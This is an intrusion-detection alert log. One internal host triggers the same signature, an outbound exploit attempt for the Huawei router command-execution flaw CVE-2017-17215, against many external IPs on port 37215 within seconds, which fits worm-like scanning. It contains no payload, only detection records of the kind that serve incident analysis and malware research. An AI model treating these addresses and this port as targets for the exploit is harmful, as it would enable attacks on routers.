2024-12-30T11:58:30.666469+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42670	41.239.215.130	37215	TCP
2024-12-30T11:58:30.666470+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48404	197.248.163.191	37215	TCP
2024-12-30T11:58:30.666470+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44414	156.174.56.203	37215	TCP
2024-12-30T11:58:30.666536+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38752	156.53.52.72	37215	TCP
2024-12-30T11:58:30.666726+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53972	156.85.24.210	37215	TCP
2024-12-30T11:58:30.666855+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36166	197.79.108.138	37215	TCP
2024-12-30T11:58:30.666855+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59084	197.52.115.121	37215	TCP
2024-12-30T11:58:30.666982+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50944	41.45.201.183	37215	TCP
2024-12-30T11:58:30.667186+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49096	41.225.75.76	37215	TCP
2024-12-30T11:58:30.667323+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39888	156.107.172.134	37215	TCP
2024-12-30T11:58:30.667936+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43902	197.223.93.160	37215	TCP
2024-12-30T11:58:30.668243+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44242	41.229.176.171	37215	TCP
2024-12-30T11:58:30.670143+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54212	41.41.131.176	37215	TCP
2024-12-30T11:58:30.670204+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44866	41.175.28.102	37215	TCP
2024-12-30T11:58:30.670734+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45372	156.142.49.103	37215	TCP
2024-12-30T11:58:30.671805+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53742	197.45.75.71	37215	TCP
2024-12-30T11:58:30.672079+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49322	156.35.239.23	37215	TCP
2024-12-30T11:58:30.672611+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44674	197.248.84.7	37215	TCP
2024-12-30T11:58:30.682017+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48440	197.177.210.99	37215	TCP
2024-12-30T11:58:30.682032+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58040	197.150.48.165	37215	TCP
2024-12-30T11:58:30.682283+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48458	41.43.37.240	37215	TCP
2024-12-30T11:58:30.682285+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47182	197.76.50.224	37215	TCP
2024-12-30T11:58:30.682492+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46266	197.28.233.183	37215	TCP
2024-12-30T11:58:30.683630+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49010	41.80.233.254	37215	TCP
2024-12-30T11:58:30.683714+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55072	41.169.142.29	37215	TCP
2024-12-30T11:58:30.685728+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59610	41.6.233.23	37215	TCP
2024-12-30T11:58:30.685802+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46184	41.49.86.106	37215	TCP
2024-12-30T11:58:30.686161+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53980	156.243.189.25	37215	TCP
2024-12-30T11:58:30.686307+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50230	197.3.248.2	37215	TCP
2024-12-30T11:58:30.697603+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46632	197.119.104.157	37215	TCP
2024-12-30T11:58:30.697838+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51870	41.245.163.128	37215	TCP
2024-12-30T11:58:30.697838+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41938	156.87.111.8	37215	TCP
2024-12-30T11:58:30.697838+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34748	41.48.239.158	37215	TCP
2024-12-30T11:58:30.697999+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35738	197.224.155.135	37215	TCP
2024-12-30T11:58:30.698143+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38134	156.138.15.86	37215	TCP
2024-12-30T11:58:30.698260+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41770	41.191.100.80	37215	TCP
2024-12-30T11:58:30.699395+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47130	41.150.250.158	37215	TCP
2024-12-30T11:58:30.699466+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33994	41.105.190.52	37215	TCP
2024-12-30T11:58:30.703090+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35072	156.10.138.172	37215	TCP
2024-12-30T11:58:30.703261+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49316	156.145.136.194	37215	TCP
2024-12-30T11:58:30.703505+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40134	156.31.35.111	37215	TCP
2024-12-30T11:58:30.713163+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49808	41.89.104.82	37215	TCP
2024-12-30T11:58:30.713314+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59916	156.57.234.191	37215	TCP
2024-12-30T11:58:30.713326+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49644	156.6.167.142	37215	TCP
2024-12-30T11:58:30.713343+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48302	41.174.8.47	37215	TCP
2024-12-30T11:58:30.713411+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52442	41.247.241.14	37215	TCP
2024-12-30T11:58:30.713508+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47100	156.0.232.213	37215	TCP
2024-12-30T11:58:30.713590+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40074	197.226.100.137	37215	TCP
2024-12-30T11:58:30.713678+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52452	156.249.232.17	37215	TCP
2024-12-30T11:58:30.713804+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35958	156.122.179.59	37215	TCP
2024-12-30T11:58:30.713819+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34894	156.197.244.74	37215	TCP
2024-12-30T11:58:30.713860+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48388	197.253.100.253	37215	TCP
2024-12-30T11:58:30.713918+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55758	41.148.153.144	37215	TCP
2024-12-30T11:58:30.713971+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36242	156.191.178.167	37215	TCP
2024-12-30T11:58:30.714053+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44880	41.57.208.136	37215	TCP
2024-12-30T11:58:30.715104+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45528	41.228.250.198	37215	TCP
2024-12-30T11:58:30.715377+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57010	197.31.42.248	37215	TCP
2024-12-30T11:58:30.715433+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45138	156.239.49.238	37215	TCP
2024-12-30T11:58:30.717004+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41008	197.144.208.34	37215	TCP
2024-12-30T11:58:30.717059+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54854	197.90.239.211	37215	TCP
2024-12-30T11:58:30.717327+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46098	197.95.193.215	37215	TCP
2024-12-30T11:58:30.717584+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38288	41.77.27.207	37215	TCP
2024-12-30T11:58:30.718724+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34822	197.153.6.73	37215	TCP
2024-12-30T11:58:30.728826+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58550	41.85.61.39	37215	TCP
2024-12-30T11:58:30.729118+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51946	156.60.79.74	37215	TCP
2024-12-30T11:58:30.729376+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33798	197.101.199.18	37215	TCP
2024-12-30T11:58:30.729454+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54522	156.120.79.177	37215	TCP
2024-12-30T11:58:30.730535+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53928	156.37.158.107	37215	TCP
2024-12-30T11:58:30.730552+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33578	41.210.108.168	37215	TCP
2024-12-30T11:58:30.730748+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34808	156.2.5.246	37215	TCP
2024-12-30T11:58:30.732764+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39116	156.57.20.178	37215	TCP
2024-12-30T11:58:30.734361+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54158	41.148.173.226	37215	TCP
2024-12-30T11:58:30.734453+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39802	197.160.191.181	37215	TCP
2024-12-30T11:58:30.734595+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33746	197.33.251.33	37215	TCP
2024-12-30T11:58:30.734787+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38152	197.35.236.212	37215	TCP
2024-12-30T11:58:30.744384+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57376	197.62.103.239	37215	TCP
2024-12-30T11:58:30.744580+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51352	41.136.56.49	37215	TCP
2024-12-30T11:58:30.744582+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42932	197.191.64.62	37215	TCP
2024-12-30T11:58:30.745111+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55820	156.54.127.16	37215	TCP
2024-12-30T11:58:30.745150+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55510	197.21.94.66	37215	TCP
2024-12-30T11:58:30.746142+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59460	156.235.175.169	37215	TCP
2024-12-30T11:58:30.748310+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37030	41.90.249.247	37215	TCP
2024-12-30T11:58:30.748496+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39678	156.109.165.251	37215	TCP
2024-12-30T11:58:30.750191+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34612	156.64.101.67	37215	TCP
2024-12-30T11:58:30.760112+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33834	156.125.177.5	37215	TCP
2024-12-30T11:58:30.760359+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46500	197.39.31.160	37215	TCP
2024-12-30T11:58:30.761632+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50544	197.206.63.90	37215	TCP
2024-12-30T11:58:30.761840+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54352	156.181.91.78	37215	TCP
2024-12-30T11:58:30.869345+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36320	41.12.207.118	37215	TCP
2024-12-30T11:58:30.870162+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	32904	41.72.165.122	37215	TCP
2024-12-30T11:58:30.871307+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46050	197.106.13.200	37215	TCP
2024-12-30T11:58:30.884718+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41056	156.42.86.214	37215	TCP
2024-12-30T11:58:30.884978+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55972	41.81.248.45	37215	TCP
2024-12-30T11:58:30.885120+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34954	197.189.153.121	37215	TCP
2024-12-30T11:58:30.885201+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	32974	156.46.141.68	37215	TCP
2024-12-30T11:58:30.885430+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34788	41.239.11.56	37215	TCP
2024-12-30T11:58:30.885766+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43628	156.69.67.99	37215	TCP
2024-12-30T11:58:30.886714+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37406	197.223.124.7	37215	TCP
2024-12-30T11:58:30.887291+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35668	41.228.208.172	37215	TCP
2024-12-30T11:58:30.888825+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35236	156.123.60.116	37215	TCP
2024-12-30T11:58:30.889021+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58970	197.253.238.128	37215	TCP
2024-12-30T11:58:30.890524+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54052	156.112.84.245	37215	TCP
2024-12-30T11:58:30.890634+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43958	156.232.203.131	37215	TCP
2024-12-30T11:58:30.900182+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44016	156.100.239.248	37215	TCP
2024-12-30T11:58:30.900693+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37302	156.50.127.142	37215	TCP
2024-12-30T11:58:30.902784+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37784	41.116.131.80	37215	TCP
2024-12-30T11:58:30.906430+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43260	41.224.35.102	37215	TCP
2024-12-30T11:58:30.916404+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48804	41.41.209.70	37215	TCP
2024-12-30T11:58:30.918081+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42160	197.205.231.36	37215	TCP
2024-12-30T11:58:30.918403+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48176	197.231.81.102	37215	TCP
2024-12-30T11:58:30.921913+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44076	41.248.47.121	37215	TCP
2024-12-30T11:58:32.421658+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50328	156.253.103.137	37215	TCP
2024-12-30T11:58:32.932219+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51628	197.249.88.69	37215	TCP
2024-12-30T11:58:32.932805+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45068	156.109.241.42	37215	TCP
2024-12-30T11:58:32.933047+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42436	156.169.191.215	37215	TCP
2024-12-30T11:58:32.933208+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57416	41.193.220.200	37215	TCP
2024-12-30T11:58:32.933461+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35792	156.101.247.130	37215	TCP
2024-12-30T11:58:32.933630+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54870	156.116.39.200	37215	TCP
2024-12-30T11:58:32.933933+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55036	41.55.65.172	37215	TCP
2024-12-30T11:58:32.934117+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55888	156.191.93.237	37215	TCP
2024-12-30T11:58:32.935035+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48496	41.79.84.105	37215	TCP
2024-12-30T11:58:32.935891+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33886	197.192.128.53	37215	TCP
2024-12-30T11:58:32.948168+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39874	41.224.93.220	37215	TCP
2024-12-30T11:58:32.948553+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34342	197.79.198.39	37215	TCP
2024-12-30T11:58:32.948599+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47092	197.98.22.62	37215	TCP
2024-12-30T11:58:32.949337+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40162	156.18.92.110	37215	TCP
2024-12-30T11:58:32.952194+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46786	197.64.75.204	37215	TCP
2024-12-30T11:58:32.952662+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55644	197.246.49.5	37215	TCP
2024-12-30T11:58:32.978564+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38030	41.210.149.51	37215	TCP
2024-12-30T11:58:32.978904+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36410	156.187.73.58	37215	TCP
2024-12-30T11:58:32.979041+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38630	197.93.238.54	37215	TCP
2024-12-30T11:58:32.979043+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49302	197.89.105.33	37215	TCP
2024-12-30T11:58:32.979074+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36328	156.13.189.108	37215	TCP
2024-12-30T11:58:32.979155+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60652	156.106.7.164	37215	TCP
2024-12-30T11:58:32.979517+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43728	197.189.135.34	37215	TCP
2024-12-30T11:58:32.980643+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54476	41.86.123.62	37215	TCP
2024-12-30T11:58:32.980665+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48454	41.26.102.197	37215	TCP
2024-12-30T11:58:32.980908+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49374	41.230.55.212	37215	TCP
2024-12-30T11:58:32.982695+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39980	156.13.108.190	37215	TCP
2024-12-30T11:58:32.982766+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49152	41.237.172.11	37215	TCP
2024-12-30T11:58:32.994492+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51118	156.6.89.61	37215	TCP
2024-12-30T11:58:32.994515+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56244	156.138.243.154	37215	TCP
2024-12-30T11:58:32.994593+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38472	156.169.69.193	37215	TCP
2024-12-30T11:58:32.994633+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51208	41.138.140.167	37215	TCP
2024-12-30T11:58:32.994773+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59564	197.92.141.107	37215	TCP
2024-12-30T11:58:32.994821+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59856	41.44.163.240	37215	TCP
2024-12-30T11:58:32.994925+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46288	156.1.25.74	37215	TCP
2024-12-30T11:58:32.995118+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49880	197.40.169.168	37215	TCP
2024-12-30T11:58:32.995148+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56928	197.207.205.126	37215	TCP
2024-12-30T11:58:32.995282+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36072	197.250.0.238	37215	TCP
2024-12-30T11:58:32.995448+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44426	197.200.79.39	37215	TCP
2024-12-30T11:58:32.995531+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35636	156.57.133.109	37215	TCP
2024-12-30T11:58:32.996342+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43186	197.238.194.223	37215	TCP
2024-12-30T11:58:32.996377+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48316	197.107.33.31	37215	TCP
2024-12-30T11:58:32.996691+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40210	41.141.148.233	37215	TCP
2024-12-30T11:58:32.996802+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47536	156.37.37.254	37215	TCP
2024-12-30T11:58:32.996915+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39888	156.149.182.191	37215	TCP
2024-12-30T11:58:33.009389+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59052	197.72.57.111	37215	TCP
2024-12-30T11:58:33.010094+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39362	156.250.109.59	37215	TCP
2024-12-30T11:58:33.010261+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52096	156.120.92.46	37215	TCP
2024-12-30T11:58:33.010331+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54974	197.238.132.137	37215	TCP
2024-12-30T11:58:33.010534+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55430	41.125.226.78	37215	TCP
2024-12-30T11:58:33.010648+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46334	197.83.90.105	37215	TCP
